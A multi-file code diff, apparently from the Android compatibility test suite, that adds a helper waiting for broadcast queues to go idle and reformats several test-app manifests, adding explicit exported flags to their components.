--- a/hostsidetests/accounts/src/android/host/accounts/AccountManagerXUserTest.java
+++ b/hostsidetests/accounts/src/android/host/accounts/AccountManagerXUserTest.java
@@ -90,6 +90,8 @@
         getDevice().startUser(mProfileUserId, true);
         getDevice().installPackageForUser(apkFile, true, true, mProfileUserId, "-t");
 
+        waitForBroadcastIdle();
+
         mTestArgs.put("testUser", Integer.toString(mProfileUserId));
     }
 
diff --git a/hostsidetests/accounts/src/android/host/accounts/BaseMultiUserTest.java b/hostsidetests/accounts/src/android/host/accounts/BaseMultiUserTest.java
index db8a703..e386349 100644
--- a/hostsidetests/accounts/src/android/host/accounts/BaseMultiUserTest.java
+++ b/hostsidetests/accounts/src/android/host/accounts/BaseMultiUserTest.java
@@ -15,6 +15,9 @@
  */
 package android.host.accounts;
 
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -23,7 +26,9 @@
 import org.junit.After;
 import org.junit.Before;
 
+import java.io.IOException;
 import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Base class for multi user tests.
@@ -156,4 +161,17 @@
             }
         }
     }
+
+    protected void waitForBroadcastIdle() throws DeviceNotAvailableException, IOException {
+        final CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        // We allow 8min for the command to complete and 4min for the command to start to
+        // output something.
+        getDevice().executeShellCommand(
+                "am wait-for-broadcast-idle", receiver, 8, 4, TimeUnit.MINUTES, 0);
+        final String output = receiver.getOutput();
+        if (!output.contains("All broadcast queues are idle!")) {
+            CLog.e("Output from 'am wait-for-broadcast-idle': %s", output);
+            fail("'am wait-for-broadcase-idle' did not complete.");
+        }
+    }
 }
diff --git a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/AndroidManifest.xml b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/AndroidManifest.xml
index ee4cae4..acd829b 100644
--- a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/AndroidManifest.xml
+++ b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
         <uses-library android:name="android.test.runner" />
 
         <service android:name=".MockAuthenticator"
-                 android:exported="false">
+                 android:exported="true">
             <intent-filter>
                 <action android:name="android.accounts.AccountAuthenticator" />
             </intent-filter>
diff --git a/hostsidetests/angle/app/driverTest/AndroidManifest.xml b/hostsidetests/angle/app/driverTest/AndroidManifest.xml
index 865b836..73392df 100755
--- a/hostsidetests/angle/app/driverTest/AndroidManifest.xml
+++ b/hostsidetests/angle/app/driverTest/AndroidManifest.xml
@@ -16,24 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.angleIntegrationTest.driverTest"
-    android:targetSandboxVersion="2">
+     package="com.android.angleIntegrationTest.driverTest"
+     android:targetSandboxVersion="2">
 
     <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity" >
+        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.angleIntegrationTest.driverTest" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.angleIntegrationTest.driverTest"/>
 
 </manifest>
-
-
diff --git a/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml b/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml
index a91da6d..e88a8c3 100755
--- a/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml
+++ b/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml
@@ -16,22 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.angleIntegrationTest.driverTestSecondary"
-    android:targetSandboxVersion="2">
+     package="com.android.angleIntegrationTest.driverTestSecondary"
+     android:targetSandboxVersion="2">
 
     <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity" >
+        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.angleIntegrationTest.driverTestSecondary" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.angleIntegrationTest.driverTestSecondary"/>
 
 </manifest>
diff --git a/hostsidetests/appbinding/app/app1/AndroidManifest.xml b/hostsidetests/appbinding/app/app1/AndroidManifest.xml
index 12bc545..615315f 100644
--- a/hostsidetests/appbinding/app/app1/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app1/AndroidManifest.xml
@@ -15,72 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
+        <service android:name=".MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app2/AndroidManifest.xml b/hostsidetests/appbinding/app/app2/AndroidManifest.xml
index 9541cd2..b0935a5 100644
--- a/hostsidetests/appbinding/app/app2/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app2/AndroidManifest.xml
@@ -15,72 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService2"
-            android:exported="false"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService2"
+             android:exported="false"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app3/AndroidManifest.xml b/hostsidetests/appbinding/app/app3/AndroidManifest.xml
index ef89aba..e62c282 100644
--- a/hostsidetests/appbinding/app/app3/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app3/AndroidManifest.xml
@@ -15,71 +15,74 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="false"
-            android:process=":persistent">
+        <service android:name=".MyService"
+             android:exported="false"
+             android:process=":persistent">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app4/AndroidManifest.xml b/hostsidetests/appbinding/app/app4/AndroidManifest.xml
index 07bd5ed..b934439 100644
--- a/hostsidetests/appbinding/app/app4/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app4/AndroidManifest.xml
@@ -15,81 +15,83 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
-        <service
-            android:name=".MyService2"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService2"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app5/AndroidManifest.xml b/hostsidetests/appbinding/app/app5/AndroidManifest.xml
index 68f83a6..8397140 100644
--- a/hostsidetests/appbinding/app/app5/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app5/AndroidManifest.xml
@@ -15,63 +15,67 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- No target services. -->
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app6/AndroidManifest.xml b/hostsidetests/appbinding/app/app6/AndroidManifest.xml
index 68fea2c..4a256ea 100644
--- a/hostsidetests/appbinding/app/app6/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app6/AndroidManifest.xml
@@ -15,71 +15,74 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service found, but doesn't have :process. -->
-        <service
-            android:name=".MyService2"
-            android:exported="false"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE" >
+        <service android:name=".MyService2"
+             android:exported="false"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
